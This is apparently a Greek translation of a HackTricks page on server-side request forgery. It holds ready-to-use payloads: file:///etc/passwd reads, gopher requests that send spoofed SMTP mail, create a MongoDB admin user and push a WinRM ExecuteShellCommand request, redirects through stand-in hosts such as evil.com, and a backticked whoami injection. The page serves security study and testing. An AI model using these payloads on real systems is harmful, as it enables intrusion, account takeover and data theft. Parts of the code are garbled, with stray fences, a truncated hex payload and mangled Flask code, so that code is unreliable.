SSRF (Server Side Request Forgery)

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Μια ευπάθεια Server-side Request Forgery (SSRF) συμβαίνει όταν ένας επιτιθέμενος διαμορφώνει μια εφαρμογή στην πλευρά του διακομιστή για να κάνει HTTP αιτήσεις σε ένα τομέα της επιλογής τους. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετες εξωτερικές αιτήσεις που κατευθύνονται από τον επιτιθέμενο.

Καταγραφή SSRF

Το πρώτο πράγμα που πρέπει να κάνετε είναι να καταγράψετε μια αλληλεπίδραση SSRF που δημιουργήθηκε από εσάς. Για να καταγράψετε μια αλληλεπίδραση HTTP ή DNS μπορείτε να χρησιμοποιήσετε εργαλεία όπως:

Παράκαμψη Λευκών Λιστών Τομέων

Συνήθως θα διαπιστώσετε ότι το SSRF λειτουργεί μόνο σε συγκεκριμένους λευκούς τομείς ή URL. Στην ακόλουθη σελίδα έχετε μια συλλογή τεχνικών για να προσπαθήσετε να παρακάμψετε αυτήν τη λευκή λίστα:

pageURL Format Bypass

Παράκαμψη μέσω ανοιχτής ανακατεύθυνσης

Αν ο διακομιστής είναι σωστά προστατευμένος, θα μπορούσατε να παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Ανοιχτή Ανακατεύθυνση μέσα στην ιστοσελίδα. Επειδή η ιστοσελίδα θα επιτρέψει SSRF στον ίδιο τομέα και πιθανότατα θα ακολουθήσει ανακατευθύνσεις, μπορείτε να εκμεταλλευτείτε την Ανοιχτή Ανακατεύθυνση για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο. Διαβάστε περισσότερα εδώ: https://portswigger.net/web-security/ssrf

Πρωτόκολλα

  • file://

  • Το σχήμα URL file:// αναφέρεται, καθοδηγώντας απευθείας στο /etc/passwd: file:///etc/passwd

  • dict://

  • Το πρωτόκολλο URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα δείχνει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό εγγραφής, καθώς και ένα παράδειγμα ενός σεναρίου PHP που ενδέχεται να καταχρηστείται για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστεύσεις που παρέχονται από τον επιτιθέμενο: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα σενάριο PHP θα μπορούσε να εκμεταλλευτείται για να συνδεθεί σε ένα κακόβουλο διακομιστή SFTP: url=sftp://generic.com:11111/

  • TFTP://

  • Το Trivial File Transfer Protocol, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός σεναρίου PHP σχεδιασμένο για να στείλει αίτηση σε ένα διακομιστή TFTP. Μια αίτηση TFTP γίνεται στο 'generic.com' στη θύρα '12346' για το αρχείο 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Αυτό το τμήμα καλύπτει το Lightweight Directory Access Protocol, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες καταλόγου πληροφοριών μέσω δικτύων IP. Επικοινωνήστε με έναν διακομιστή LDAP στο localhost: '%0astats%0aquit' μέσω ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Περιγράφεται μια μέθοδος για την εκμετάλλευση ευπαθειών SSRF για να αλληλεπιδρά με υπηρεσίες SMTP στο localhost, συμπεριλαμβανομένων βημάτων για την αποκάλυψη εσωτερικών ονομάτων τομέα και περαιτέρω ερευνητικών ενεργειών με βάση αυτές τις πληροφορίες.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Παράκαμψη WAF με Curl URL globbing

  • Εάν το SSRF εκτελείται από το curl, το curl έχει μια λειτουργία που ονομάζεται URL globbing που θα μπορούσε να είναι χρήσιμη για την παράκαμψη των WAFs. Για παράδειγμα, σε αυτό το writeup μπορείτε να βρείτε αυτό το παράδειγμα για μια διέλευση μονοπατιών μέσω του πρωτοκόλλου file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://

  • Συζητείται η δυνατότητα του πρωτοκόλλου Gopher να καθορίζει τη διεύθυνση IP, τη θύρα και τα bytes για την επικοινωνία με τον διακομιστή, μαζί με εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία φορτίων. Παρουσιάζονται δύο διακριτές χρήσεις:

Gopher://

Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε τη διεύθυνση IP, τη θύρα και τα bytes που θέλετε ο διακομιστής να στείλει. Έπειτα, μπορείτε ουσιαστικά να εκμεταλλευτείτε ένα SSRF για να επικοινωνήσετε με οποιονδήποτε TCP διακομιστή (αλλά πρέπει να ξέρετε πώς να επικοινωνήσετε με την υπηρεσία πρώτα). Ευτυχώς, μπορείτε να χρησιμοποιήσετε το Gopherus για τη δημιουργία φορτίων για πολλές υπηρεσίες. Επιπλέον, μπορεί να χρησιμοποιηθεί το remote-method-guesser για τη δημιουργία gopher φορτίων για υπηρεσίες Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Σύνδεση προς τα πίσω στο 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Δημιουργία χρήστη με όνομα χρήστη=admin με κωδικό πρόσβασης=admin123 και με δικαίωμα=διαχειριστής

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF μέσω κεφαλίδας Referrer & Άλλων

Το λογισμικό αναλυτικών στους διακομιστές συχνά καταγράφει την κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που αποκαλύπτει κατά λάθος τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στην κεφαλίδα Referrer για να αναλύσει το περιεχόμενο του ιστότοπου αναφοράς. Για να ανακαλύψετε αυτές τις ευπάθειες, συνιστάται το πρόσθετο του Burp Suite "Collaborator Everywhere", εκμεταλλευόμενο τον τρόπο με τον οποίο τα εργαλεία αναλυτικών επεξεργάζονται την κεφαλίδα Referer για την αναγνώριση πιθανών επιφανειών επίθεσης SSRF.

SSRF μέσω δεδομένων SNI από πιστοποιητικό

Μια λανθασμένη ρύθμιση που θα μπορούσε να επιτρέψει τη σύνδεση με οποιονδήποτε πίσω τελικό μέσω μιας απλής ρύθμισης επισημαίνεται με ένα παράδειγμα ρύθμισης Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται απευθείας ως η διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια στο Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλώς καθορίζοντας την επιθυμητή διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να επιβάλετε μια σύνδεση σε έναν αυθαίρετο backend, όπως το internal.host.com, χρησιμοποιώντας την εντολή openssl, δίνεται παρακάτω:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF με Εντολή Εισαγωγής

Μπορεί να αξίζει να δοκιμάσετε ένα φορτίο όπως: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Απεικόνιση PDFs

Αν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παράσχει, μπορείτε να εισάγετε κάποιον JS που θα εκτελεστεί από τον ίδιο τον δημιουργό PDF (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να καταχραστείτε ένα SSRF. Βρείτε περισσότερες πληροφορίες εδώ.

Από SSRF σε DoS

Δημιουργήστε αρκετές συνεδρίες και δοκιμάστε να κατεβάσετε βαριά αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.

Συναρτήσεις SSRF PHP

pagePHP SSRF

Ανακατεύθυνση SSRF σε Gopher

Για μερικές εκμεταλλεύσεις ενδέχεται να χρειαστεί να στείλετε μια ανακατεύθυνση απάντησης (ενδεχομένως για να χρησιμοποιήσετε διαφορετικό πρωτόκολλο όπως το gopher). Εδώ έχετε διαφορετικούς κώδικες Python για να ανταποκριθείτε με μια ανακατεύθυνση:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Χρησιμοποιήστε το Trickest για να κατασκευάσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Εσφαλμένα ρυθμισμένα πρόξι

Κόλπα από αυτή την ανάρτηση.

Flask

Ευάλωτος κώδικας προξικής Flask

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικού χαρακτήρα, ο οποίος επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να ενσωματωθεί ένα νέο. Αίτημα επίθεσης:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Ευάλωτος κώδικας:

Ανακαλύφθηκε ότι είναι δυνατόν να ξεκινήσει το μονοπάτι ενός αιτήματος με τον χαρακτήρα ; που επιτρέπει στη συνέχεια τη χρήση του @ και την ενσωμάτωση ενός νέου κεντρικού υπολογιστή για πρόσβαση. Αίτημα επίθεσης:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Ενσωματωμένος Διακομιστής Ιστού PHP

Last updated